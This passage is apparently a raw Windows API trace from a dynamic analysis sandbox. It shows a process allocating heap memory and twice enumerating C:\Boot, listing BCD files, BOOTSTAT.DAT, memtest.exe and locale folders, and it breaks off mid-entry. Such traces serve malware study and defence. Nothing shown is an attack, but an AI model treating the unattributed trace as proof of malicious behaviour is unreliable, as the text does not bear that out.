(HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.034] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f9cc, lpOverlapped=0x0) returned 0 [0254.034] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.034] NtClose (Handle=0x188) returned 0x0 [0254.034] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0254.034] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0254.034] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ef28 [0254.034] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eea0 [0254.034] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548f40 [0254.034] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.035] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0xaf0e7ea0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8ddd0 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ed90 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8ddf0 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ed08 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943e00 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ec80 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.035] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943e20 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ebf8 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943e40 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eb70 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0254.036] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0254.037] GetLastError () returned 0x12 [0254.037] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x549000 [0254.037] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0xaf0e7ea0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, 